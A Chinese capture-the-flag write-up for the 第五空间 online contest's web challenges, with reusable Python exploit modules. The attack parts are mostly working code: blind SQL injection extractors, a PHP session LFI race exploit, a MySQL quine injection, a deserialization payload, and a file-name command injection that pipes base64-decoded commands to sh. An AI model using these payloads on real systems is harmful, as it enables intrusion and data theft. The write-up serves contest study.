第五空间线上赛web部分题解与模块化CTF解题工具编写的一些思考

VSole2021-10-19 16:21:08

0x00 前言

之前在打大大小小的比赛过程中,发现其实很多题的手法和流程是一致的,只是具体的细节比如说绕过方式不同,如何在比赛中快速写好通用的逻辑,在解具体赛题的过程中又能快速实现自定义化细节呢。一个简单的思路就是利用OOP的思想,编写一些基础通用的模块,在比赛时通过继承和方法重写实现快速自定义化。

比如在一类盲注题目中,无论是时间还是布尔,一般来说我们需要拿到一个判断输入逻辑是否正确的函数,比如下面这个hack函数

def hack(host:str,payload:str)->bool:        data = {            "uname":f"-1' or {payload}#",            "passwd":f"123"        }        res = requests.post(f"{host}/sqli.php",data=data)        #print(res.content)        if b"admin" in res.content:            return True        return False

通过这个函数我们判断一个sql语句的逻辑结果是否正确,利用这点,我们可以利用枚举或者二分的手法来判断数据内容,从而进行盲注,一个常见的枚举函数如下图所示

def equBlind(sql:str)->None:        ret=""        i = 1        while True:            flag = 0            for ch in string.printable:                payload=f'((ascii(substr(({sql}),{i},1)))={ord(ch)})'                sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret+ch))                sys.stdout.flush()                if hack(payload):                    ret=ret+ch                    sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret))                    sys.stdout.flush()                    flag = 1                    break            if flag == 0:                break            i+=1        sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")

当然,不同的题目注入的方式和注入点肯定是不一样的,需要快速的自定义细节,那么我们要继续细化各函数的功能吗,显然不太现实,而且调用起来也会很麻烦。如何在耦合和内聚中取得平衡是在模块编写中需要注意的。目前的一个简单想法就是把大的逻辑分开,比如盲注中判定sql逻辑的部分和注出数据的部分,从外部传入target,各功能之间的公用参数挂在对象上。下面是一个基础的Sql注入利用类

import requests
import threading,sys
import string
class BaseSqliHelper:
    def __init__(self,host:str) -> None:
        self.host = host
        self.pt = string.printable
        pass
    def hack(self,payload:str)->bool:
        data = {
            "uname":f"-1' or {payload}#",
            "passwd":f"123"
        }
        res = requests.post(f"{self.host}/sqli.php",data=data)
        #print(res.content)
        if b"admin" in res.content:
            return True
        return False
    def equBlind(self,sql:str)->None:
        ret=""
        i = 1
        while True:
            flag = 0
            for ch in self.pt:
                payload=f'((ascii(substr(({sql}),{i},1)))={ord(ch)})'
                sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret+ch))
                sys.stdout.flush()
                if self.hack(payload):
                    ret=ret+ch
                    sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret))
                    sys.stdout.flush()
                    flag = 1
                    break
            if flag == 0:
                break
            i+=1
        sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
    def efBlind(self,sql:str)->None:
        ret=""
        i = 1
        while True:
            l=20
            r=130
            while(l+1<r):
                mid=(l+r)//2
                payload=f"if((ascii(substr(({sql}),{i},1)))>{mid},1,0)"
                if self.hack(payload):
                    l=mid
                else :
                    r=mid
            if(chr(r) not in self.pt):
                break
            i+=1
            ret=ret+chr(r)
            sys.stdout.write("[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name,ret))
            sys.stdout.flush()
        sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
if __name__ == "__main__":
    host = "http://127.0.0.1:2335"
    sqlexp = BaseSqliHelper(host=host)
    print(sqlexp.hack("1=1"))
    sql = "select database()"
    sqlexp.equBlind(sql)
    sqlexp.efBlind(sql)

目前在 https://github.com/EkiXu/ekitools 仓库中实现了几个简单的模块,包括php session lfi,Sqli 以及quine相关,tests文件夹下存放了一些示例用来测试基础类功能是否正常。

一些模块利用方法将会在后面的wp中具体进行介绍。

0x01 EasyCleanup

看了一下源码,出题人应该是想让选手利用最多8种字符,最长15字符的rce实现getshell,然而看phpinfo();没禁php session upload progress同时给了文件包含

那么就直接拿写好的模块一把梭了,可以看到这里利用继承重写方法的方式进行快速自定义,实际解题中就是copy基础类源码中示例函数+简单修改

from ekitools.PHP_LFI import BasePHPSessionHelper
import threading,requests
host= "http://114.115.134.72:32770"
class Exp(BasePHPSessionHelper):
    def sessionInclude(self,sess_name="ekitest"):
        #sessionPath = "/var/lib/php5/sess_" + sess_name
        #sessionPath = f"/var/lib/php/sessions/sess_{sess_name}"
        sessionPath = f"/tmp/sess_{sess_name}"
        upload_url = f"{self.host}/index.php"
        include_url = f"{self.host}/index.php?file={sessionPath}"
        headers = {'Cookie':'PHPSESSID=' + sess_name}
        t = threading.Thread(target=self.createSession,args=(upload_url,sess_name))
        t.setDaemon(True)
        t.start()
        while True:
            res = requests.post(include_url,headers=headers)
            if b'Included' in res.content:
                print("[*] Get shell success.")
                print(include_url,res.content)
                break
            else:
                print("[-] retry.")
        return True
exp = Exp(host)
exp.sessionInclude("g")

0x02 yet_another_mysql_injection

题目提示了?source给了源码

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}
if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>
<!-- source code here:  /?source -->
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="initial-scale=1.0, user-scalable=no, width=device-width">
<title>SQLi</title>
<link rel="stylesheet" type="text/css" href="./files/reset.css">
<link rel="stylesheet" type="text/css" href="./files/scanboardLogin.css">
<link rel="stylesheet" type="text/css" href="./files/animsition.css">
</head>
<body>
  <div class="wp animsition" style="animation-duration: 0.8s; opacity: 1;">
    <div class="boardLogin">
      <div class="logo ">
        LOGIN AS ADMIN!
      </div>
      <form action="index.php" method="post">
        <div class="inpGroup">
          <span class="loginIco1"></span>
          <input type="text" name="username" placeholder="请输入您的用户名">
        </div>
        <div class="inpGroup">
          <span class="loginIco2"></span>
          <input type="password" name="password" placeholder="请输入您的密码">
        </div>
        <div class="prompt">
          <p class="success">输入正确</p>
        </div>
        <button class="submit">登录</button>
      </form>
    </div>
  </div>
  <div id="particles-js"><canvas class="particles-js-canvas-el" style="width: 100%; height: 100%;" width="3360" height="1780"></canvas></div>
<script type="text/javascript" src="./files/jquery.min.js"></script>
<script type="text/javascript" src="./files/jquery.animsition.js"></script>
<script src="./files/particles.min.js"></script>
<script src="./files/app.js"></script>
<script type="text/javascript">
  $(".animsition").animsition({
      inClass               :   'fade-in',
      outClass              :   'fade-out',
      inDuration            :    800,
      outDuration           :    1000,
      linkElement           :   '.animsition-link',
      loading               :    false,
      loadingParentElement  :   'body',
      loadingClass          :   'animsition-loading',
      unSupportCss          : [ 'animation-duration',
                                '-webkit-animation-duration',
                                '-o-animation-duration'
                              ],
      overlay               :   false,
      overlayClass          :   'animsition-overlay-slide',
      overlayParentElement  :   'body'
    });
</script>
</body></html>

可以看到可控参数其实只有password,那么直接构造一个永真式

'or '1'like '1

然后发现还是报

alertMes("something wrong",'index.php');

可以推断库中没有数据,此时仍然要使得$row['password'] === $password,很容易想到通过联合注入来构造$row['password'],然而为了实现这一目标我们要使输入的password参数查出的password列值为自身。事实上这是一类quine即执行自身输出自身,quine一个常见的思路就是通过替换来构造,通过将一个较短的占位符,替换成存在的长串字符串来构造。这个考点也在Holyshield CTF和Codegate出现过

def genMysqlQuine(sql:str,debug:bool=False,tagChar:str="$")->str:
    '''
    $$用于占位
    '''
    tagCharOrd:int = ord(tagChar)
    if debug: 
        print(sql)
    sql = sql.replace('$$',f"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR({tagCharOrd}),$$)")
    text = sql.replace('$$',f'"{tagChar}"').replace("'",'"')
    sql = sql.replace('$$',f"'{test}'")
    if debug: 
        print(sql)
    return sql
if __name__ == "__main__":
    res = genMysqlQuine("UNION SELECT $$ as password -- ",tagChar="%")
    print(res)

该代码也模块化放在ekitools里了

from ekitools.quine import genMysqlQuine
import requests
host = "http://114.115.143.25:32770"
data = {
    "username":"admin",
    "password":genMysqlQuine("'union select $$ as password#",tagChar="%").replace(" ","/**/")
}
print(data)
res = requests.post(host,data=data)
print(res.content)

0x03 pklovecloud

直接反序列化了,好像也没啥链子。。。

<?php  
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function setCinder($cinder){
        $this->cinder = $cinder;
    }
}  
class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
}  
$b = new stdClass;
$b->neutron = $heat;
$b->nova = $heat;
$a = new ace;
$a->docker = $b;
$a->filename = 'flag.php';
$exp = new acp;
$exp->setCinder($a);
var_dump(urlencode(serialize($exp)));
?>

0x04 PNG图片转换器

阅读相关材料

https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#command-injection

可知redis的一个特性 open能够命令注入

那么绕过手段就很多了,比如base64

import requests
url  = "http://114.115.128.215:32770"
#url = "http://127.0.0.1:4567"
print(hex(ord('.')),hex(ord("/")))
res = requests.post(f"{url}/convert",data="file=|echo Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt | base64 -d | sh;.png".encode("utf-8"),headers={"Content-Type":"application/x-www-form-urlencoded"},allow_redirects=False)
print(res.content)

0x05 WebFtp

好像就是一个./git源码泄露,审计下代码在/Readme/mytz.php有act能获取phpinfo(),在phpinfo环境变量页面里能得到flag

sql注入模块化
本作品采用《CC 协议》,转载必须注明作者和本文链接
如何在耦合和内聚中取得平衡是在模块编写中需要注意的。目前的一个简单想法就是把大的逻辑分开,比如盲注中判定sql逻辑的部分和注出数据的部分,从外部传入target,各功能之间的公用参数挂在对象上。下面是一个基础的Sql注入利用类import requests
Scanners-Box 指引#简介#Scanners-Box是一个集合github平台上的安全行业从业人员自研开源扫描器的仓库,包括子域名枚举、数据库漏洞扫描、弱口令或信息泄漏扫描、端口扫描、指纹识别以及其他大型扫描器或模块化扫描器;该仓库只收录各位网友自己编写的一般性开源扫描器,类似nmap、w3af、brakeman等知名扫描工具不收录。
应用程序接口(Application Programming Interface,API)是一些预先被定义的接口或协议,用来实现和其他软件组件的交互。
网上安全渗透测试工具整理全集,部分链接可能失效,但可以搜索到
Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 浅入浅出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 渗透测试学习手册 中文
Arsenal是一个功能强大且使用简单的Shell脚本,该工具专为漏洞赏金猎人设计,在该工具的帮助下,我们可以轻松在自己环境中安装并部署目前社区中功能最为强大的网络侦查工具、漏洞扫描工具和其他安全研究工具。
从政府侧、供给侧、需求侧、专业机构等角度出发,聚焦创新和市场双驱动、供给和需求互促进、治理和发展两手抓等思路,加大技术研究及应用示范支持力度,分类推进数据安全技术产品的服务创新,强化数据安全防护和数据开发利用,做专做强数据安全检测评估工作。
02WiresharkWireshark是一种流行的网络协议分析器,可在各大操作系统上运行。Jok3r的说明文档尚在完善中,但模块组合使其成为一款强大的工具。08sqlmapSQL注入是一种常见的攻击途径,主要针对接受用户动态值的数据驱动型Web应用程序实施攻击,因此sqlmap之类的工具必不可少。11Aircrack-ngAircrack-ng是一整套Wi-Fi网络安全测试工具,旨在评估Wi-Fi网络的安全。所有工具都是命令行工具,以便编写大量脚本,许多GUI利用了这项功能。无论选择哪一款工具,都应确保它们仍受到积极支持。
安全测试是一项工作量很大的任务,安全团队没有时间或足够人手完成这项任务。
证券行业开源治理工作的启动已经迫在眉睫。从外部环境来看,从国家、行业到监管机构,均有了明确发文、要求及建议,并出台了网络安全法、行业要求、专项通知等具体政策,不乏企业因为使用有漏洞的开源组件而受到相关监管机构通报。从内部环境来看,证券机构为深化数字化转型,IT部门规模在不断扩编,而借助开源技术的使用会大大加速这一过程。开源技术在带来便利的同时,背后也隐藏着很多风险,甚至会给证券机构稳定经营造成严重
VSole
网络安全专家